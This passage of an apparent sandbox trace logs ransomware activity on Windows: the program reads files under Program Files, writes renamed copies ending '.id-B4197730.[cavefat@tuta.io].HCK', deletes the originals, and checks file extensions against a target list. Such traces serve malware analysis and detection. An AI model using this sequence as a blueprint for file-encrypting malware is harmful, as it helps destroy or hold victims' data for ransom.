Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0244.399] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=21328) returned 1 [0244.399] CloseHandle (hObject=0x290) returned 1 [0244.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf")) returned 0x220 [0244.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0244.399] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.399] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298 [0244.400] GetLastError () returned 0x0 [0244.400] ReadFile (in: hFile=0x290, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x5350, lpOverlapped=0x0) returned 1 [0244.402] WriteFile (in: hFile=0x298, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x5360, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x5360, lpOverlapped=0x0) returned 1 [0244.403] ReadFile (in: hFile=0x290, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.403] WriteFile (in: hFile=0x298, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.403] SetEndOfFile (hFile=0x298) returned 1 [0244.403] CloseHandle (hObject=0x298) returned 1 [0244.403] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.403] SetEndOfFile (hFile=0x290) returned 1 [0244.406] CloseHandle (hObject=0x290) returned 1 [0244.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf")) returned 1 [0244.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.408] lstrlenW (lpString=".doc") returned 4 [0244.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString=".docx") returned 5 [0244.408] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0244.408] lstrlenW (lpString=".pdf") returned 4 [0244.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString=".xls") returned 4 [0244.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.408] lstrlenW (lpString=".xlsx") returned 5 [0244.408] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0244.408] lstrlenW (lpString=".ppt") returned 4 [0244.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.408] lstrlenW (lpString=".zip") returned 4 [0244.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.408] lstrlenW (lpString=".rar") returned 4 [0244.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString=".bz2") returned 4 [0244.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString=".7z") returned 3 [0244.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.408] lstrlenW (lpString=".dbf") returned 4 [0244.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.408] lstrlenW (lpString=".1cd") returned 4 [0244.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.408] lstrlenW (lpString=".jpg") returned 4 [0244.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.408] lstrlenW (lpString=".doc") returned 4 [0244.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString=".docx") returned 5 [0244.408] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0244.408] lstrlenW (lpString=".pdf") returned 4 [0244.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString=".xls") returned 4 [0244.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.408] lstrlenW (lpString=".xlsx") returned 5 [0244.408] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0244.408] lstrlenW (lpString=".ppt") returned 4 [0244.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.409] lstrlenW (lpString=".zip") returned 4 [0244.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.409] lstrlenW (lpString=".rar") returned 4 [0244.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString=".bz2") returned 4 [0244.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString=".7z") returned 3 [0244.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.409] lstrlenW (lpString=".dbf") returned 4 [0244.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.409] lstrlenW (lpString=".1cd") returned 4 [0244.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0244.409] lstrlenW (lpString=".jpg") returned 4 [0244.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.409] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.409] lstrlenW (lpString="J0195428.WMF") returned 12 [0244.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0244.410] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=18622) returned 1 [0244.410] CloseHandle (hObject=0x290) returned 1 [0244.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf")) returned 0x220 [0244.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0244.411] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.411] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298 [0244.412] GetLastError () returned 0x0 [0244.412] ReadFile (in: hFile=0x290, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x48be, lpOverlapped=0x0) returned 1 [0244.707] WriteFile (in: hFile=0x298, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x48c0, lpOverlapped=0x0) returned 1 [0244.708] ReadFile (in: hFile=0x290, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.708] WriteFile (in: hFile=0x298, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.708] SetEndOfFile (hFile=0x298) returned 1 [0244.730] CloseHandle (hObject=0x298) returned 1 [0244.732] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.732] SetEndOfFile (hFile=0x290) returned 1 [0244.734] CloseHandle (hObject=0x290) returned 1 [0244.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf")) returned 1 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.969] lstrlenW (lpString=".doc") returned 4 [0244.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString=".docx") returned 5 [0244.969] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0244.969] lstrlenW (lpString=".pdf") returned 4 [0244.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString=".xls") returned 4 [0244.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.969] lstrlenW (lpString=".xlsx") returned 5 [0244.969] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0244.969] lstrlenW (lpString=".ppt") returned 4 [0244.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.969] lstrlenW (lpString=".zip") returned 4 [0244.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.969] lstrlenW (lpString=".rar") returned 4 [0244.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString=".bz2") returned 4 [0244.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString=".7z") returned 3 [0244.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.969] lstrlenW (lpString=".dbf") returned 4 [0244.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.969] lstrlenW (lpString=".1cd") returned 4 [0244.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.969] lstrlenW (lpString=".jpg") returned 4 [0244.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.969] lstrlenW (lpString=".doc") returned 4 [0244.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString=".docx") returned 5 [0244.969] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0244.969] lstrlenW (lpString=".pdf") returned 4 [0244.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString=".xls") returned 4 [0244.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.969] lstrlenW (lpString=".xlsx") returned 5 [0244.969] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0244.969] lstrlenW (lpString=".ppt") returned 4 [0244.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.969] lstrlenW (lpString=".zip") returned 4 [0244.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.969] lstrlenW (lpString=".rar") returned 4 [0244.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.970] lstrlenW (lpString=".bz2") returned 4 [0244.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.970] lstrlenW (lpString=".7z") returned 3 [0244.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.970] lstrlenW (lpString=".dbf") returned 4 [0244.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.970] lstrlenW (lpString=".1cd") returned 4 [0244.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0244.970] lstrlenW (lpString=".jpg") returned 4 [0244.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.970] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.970] lstrlenW (lpString="J0196142.WMF") returned 12 [0244.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0245.348] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3826) returned 1 [0245.348] CloseHandle (hObject=0x294) returned 1 [0245.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf")) returned 0x220 [0245.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 325 os_tid = 0xd50 [0224.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x39853e0 [0224.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x39953e8 [0224.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b50 [0224.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5804f8 [0224.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b68 [0224.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3f14020 [0224.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b80 [0224.137] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558b80, Size=0x20) returned 0x52f130 [0224.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558958 [0224.137] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558958, Size=0x20) returned 0x52ef50 [0224.137] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0224.137] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0224.137] Wow64DisableWow64FsRedirection (in: OldValue=0x349ff50 | out: OldValue=0x349ff50*=0x0) returned 1 [0224.137] lstrlenW (lpString="kernel32.dll") returned 12 [0224.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f130 | out: hHeap=0x4f0000) returned 1 [0224.137] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0224.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ef50 | out: hHeap=0x4f0000) returned 1 [0224.137] Sleep (dwMilliseconds=0x64) [0224.310] Sleep (dwMilliseconds=0x64) [0224.527] Sleep (dwMilliseconds=0x64) [0224.825] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0224.825] lstrlenW (lpString="base_jpn.xml") returned 12 [0224.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0225.095] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=804) returned 1 [0225.095] CloseHandle (hObject=0x438) returned 1 [0225.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0225.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.095] lstrlenW (lpString=".doc") returned 4 [0225.095] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0225.095] lstrlenW (lpString=".docx") returned 5 [0225.096] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0225.096] lstrlenW (lpString=".pdf") returned 4 [0225.096] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString=".xls") returned 4 [0225.096] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString=".xlsx") returned 5 [0225.096] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0225.096] lstrlenW (lpString=".ppt") returned 4 [0225.096] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.096] lstrlenW (lpString=".zip") returned 4 [0225.096] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0225.096] lstrlenW (lpString=".rar") returned 4 [0225.096] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString=".bz2") returned 4 [0225.096] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString=".7z") returned 3 [0225.096] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0225.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.096] lstrlenW (lpString=".dbf") returned 4 [0225.096] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.096] lstrlenW (lpString=".1cd") returned 4 [0225.096] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.096] lstrlenW (lpString=".jpg") returned 4 [0225.096] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.096] lstrlenW (lpString=".doc") returned 4 [0225.096] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString=".docx") returned 5 [0225.096] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0225.096] lstrlenW (lpString=".pdf") returned 4 [0225.096] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString=".xls") returned 4 [0225.096] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0225.096] lstrlenW (lpString=".xlsx") returned 5 [0225.096] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0225.096] lstrlenW (lpString=".ppt") returned 4 [0225.097] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0225.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.097] lstrlenW (lpString=".zip") returned 4 [0225.097] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0225.097] lstrlenW (lpString=".rar") returned 4 [0225.097] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0225.097] lstrlenW (lpString=".bz2") returned 4 [0225.097] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0225.097] lstrlenW (lpString=".7z") returned 3 [0225.097] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0225.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.097] lstrlenW (lpString=".dbf") returned 4 [0225.097] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0225.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.097] lstrlenW (lpString=".1cd") returned 4 [0225.097] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0225.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0225.097] lstrlenW (lpString=".jpg") returned 4 [0225.097] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0225.097] Sleep (dwMilliseconds=0x64) 